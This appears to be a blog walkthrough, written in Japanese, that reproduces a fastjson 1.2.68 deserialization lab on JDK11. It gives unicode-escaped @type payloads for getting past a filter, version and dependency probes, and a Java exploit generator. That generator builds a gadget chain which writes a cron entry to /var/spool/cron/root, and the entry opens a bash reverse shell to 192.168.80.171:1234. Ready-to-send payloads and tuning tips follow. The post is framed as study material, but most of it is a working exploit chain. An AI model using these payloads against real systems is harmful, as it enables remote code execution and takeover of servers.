banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

fastjson 1268 jkd11 書き込みファイル

参考:https://github.com/lemono0/FastJsonPart

主打一个过程复现,理解漏洞利用流程,网上很多大佬的文章,文章写的很好,但作为基础学习还是不够(特别是用 idea 编译 java 文件,如何解决依赖等基础问题,-__-|.),所以就把自己复现过程的流程写下。

07-1268-jkd11-writefile#

パケットキャプチャ、括弧を削除し、fastjson のバージョンを判断する

Pasted image 20250110152659

dnslog で fastjson を探査し、フィルタリングされていることを発見

Pasted image 20250110152818

@type を unicode エンコードする

{
  "\u0040\u0074\u0079\u0070\u0065": "java.net.InetSocketAddress" {
    "address": ,
    "val": "1bdmkeljntnmdy5h5nf3h571tszjn9by.oastify.com"
  }
}

Pasted image 20250110152949

dnslog リクエストを受信

Pasted image 20250110153021

バージョンを探査

{
  "\u0040\u0074\u0079\u0070\u0065": "java.lang.AutoCloseable"

Pasted image 20250110153123

依存関係を探査

{
"x": {
  "\u0040\u0074\u0079\u0070\u0065": "java.lang.Character"{
"\u0040\u0074\u0079\u0070\u0065": "java.lang.Class",
"val": "java.net.http.HttpClient"
	}
}

Pasted image 20250110153346

can not cast to charという返答はjava.net.http.HttpClientが存在することを示し、JDK11 である。

org.springframework.web.bind.annotation.RequestMappingは SpringBoot 特有のクラスであるため、ターゲット環境は SpringBoot 環境である。

{
"x": {
  "\u0040\u0074\u0079\u0070\u0065": "java.lang.Character"{
"\u0040\u0074\u0079\u0070\u0065": "java.lang.Class",
"val": "org.springframework.web.bind.annotation.RequestMapping"
	}
}

Pasted image 20250110153548

使用している JDK11 が確認できたので、無制限にファイルを書き込むことができる。書き込みスケジュールタスクを使用してシェルをリバウンドさせる。

exp ファイルを生成する、jdk11.java

import com.alibaba.fastjson.JSON;  
  
import java.io.ByteArrayOutputStream;  
import java.io.IOException;  
import java.util.Arrays;  
import java.util.Base64;  
import java.util.zip.Deflater;  
  
public class jdk11 {  
  
    public static String gzcompress(String code) {  
        byte[] data = code.getBytes();  
        byte[] output = new byte[0];  
        Deflater compresser = new Deflater();  
        compresser.reset();  
        compresser.setInput(data);  
        compresser.finish();  
        ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);  
        try {  
            byte[] buf = new byte[1024];  
            while (!compresser.finished()) {  
                int i = compresser.deflate(buf);  
                bos.write(buf, 0, i);  
            }  
            output = bos.toByteArray();  
        } catch (Exception e) {  
            output = data;  
            e.printStackTrace();  
        } finally {  
            try {  
                bos.close();  
            } catch (IOException e) {  
                e.printStackTrace();  
            }  
        }  
        compresser.end();  
        System.out.println(Arrays.toString(output));  
        return Base64.getEncoder().encodeToString(output);  
    }  
  
    public static void main(String[] args) throws Exception {  
        String code = gzcompress("* * * * *  bash -i >& /dev/tcp/192.168.80.171/1234 0>&1 \n");  
        //<=1.2.68 and JDK11  
        String payload = "{\r\n"  
                + "    \"@type\":\"java.lang.AutoCloseable\",\r\n"  
                + "    \"@type\":\"sun.rmi.server.MarshalOutputStream\",\r\n"  
                + "    \"out\":\r\n"  
                + "    {\r\n"  
                + "        \"@type\":\"java.util.zip.InflaterOutputStream\",\r\n"  
                + "        \"out\":\r\n"  
                + "        {\r\n"  
                + "           \"@type\":\"java.io.FileOutputStream\",\r\n"  
                + "           \"file\":\"/var/spool/cron/root\",\r\n"  
                + "           \"append\":false\r\n"  
                + "        },\r\n"  
                + "        \"infl\":\r\n"  
                + "        {\r\n"  
                + "            \"input\":\r\n"  
                + "            {\r\n"  
                + "                \"array\":\"" + code + "\",\r\n"  
                + "                \"limit\":1999\r\n"  
                + "            }\r\n"  
                + "        },\r\n"  
                + "        \"bufLen\":1048576\r\n"  
                + "    },\r\n"  
                + "    \"protocolVersion\":1\r\n"  
                + "}\r\n"  
                + "";  
  
        System.out.println(payload);  
        JSON.parseObject(payload);  
    }  
}

ペイロードを生成

Pasted image 20250110160412

注意:

スケジュールタスクに書き込む際に注意すべき点がいくつかある:

  • linux 自体のシステム制限、まず centos と ubuntu 系列は異なり、ファイルの書き込み位置やコマンドの方法が異なる。ここでは centos システムのため、/var/spool/cron/rootファイルに書き込むが、ubuntu システムでは/etc/crontabシステムレベルのスケジュールタスクに書き込むべきであり、/var/spool/cron/crontabs/rootファイルには書き込むべきではない。なぜなら、この方法は権限の変更やスケジュールタスクサービスの再起動を伴うからである。

  • このファイル書き込みの脆弱性を利用してスケジュールタスクを書き込む際には、コマンドの後に改行操作を追加する必要があり、そのコマンドが完全な 1 行であることを保証しないと、リバウンドが成功しない。

{
    "\u0040\u0074\u0079\u0070\u0065":"java.lang.AutoCloseable",
    "\u0040\u0074\u0079\u0070\u0065":"sun.rmi.server.MarshalOutputStream",
    "out":
    {
        "\u0040\u0074\u0079\u0070\u0065":"java.util.zip.InflaterOutputStream",
        "out":
        {
           "\u0040\u0074\u0079\u0070\u0065":"java.io.FileOutputStream",
           "file":"/var/spool/cron/root",
           "append":false
        },
        "infl":
        {
            "input":
            {
                "array":"eJzTUtCCQoWkxOIMBd1MBTs1Bf2U1DL9kuQCfUNLIz1DMws9CwM9Q3NDfUMjYxMFAzs1QwUuAHKnDGw=",
                "limit":1999
            }
        },
        "bufLen":1048576
    },
    "protocolVersion":1
}

Pasted image 20250110160150

limit の部分にはファイル内に書き込むデータの実際の長さを書き込む必要がある。この長さは何らかの処理によって、スケジュールタスクコマンドの長さとは異なる場合がある。ここでも同様にエラーを利用し、limit 値をできるだけ大きく設定し、fastjson はオフセット位置が正しくないために正しいデータオフセットを爆発させる。ここでの 59 が実際のデータ長である。

{
    "\u0040\u0074\u0079\u0070\u0065":"java.lang.AutoCloseable",
    "\u0040\u0074\u0079\u0070\u0065":"sun.rmi.server.MarshalOutputStream",
    "out":
    {
        "\u0040\u0074\u0079\u0070\u0065":"java.util.zip.InflaterOutputStream",
        "out":
        {
           "\u0040\u0074\u0079\u0070\u0065":"java.io.FileOutputStream",
           "file":"/var/spool/cron/root",
           "append":false
        },
        "infl":
        {
            "input":
            {
                "array":"H4sIAAAAAAAAANNS0IJChaTE4gwF3UwFOzUF/ZTUMv2S5AJ9Q0sjPUMzCz0LAz1Dc0N9QyNjEwUDOzVDBS4AGWjIeTkAAAA=",
                "limit":59
            }
        },
        "bufLen":1048576
    },
    "protocolVersion":1
}

Pasted image 20250110160237

シェルをリバウンドさせる

Pasted image 20250110160547

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。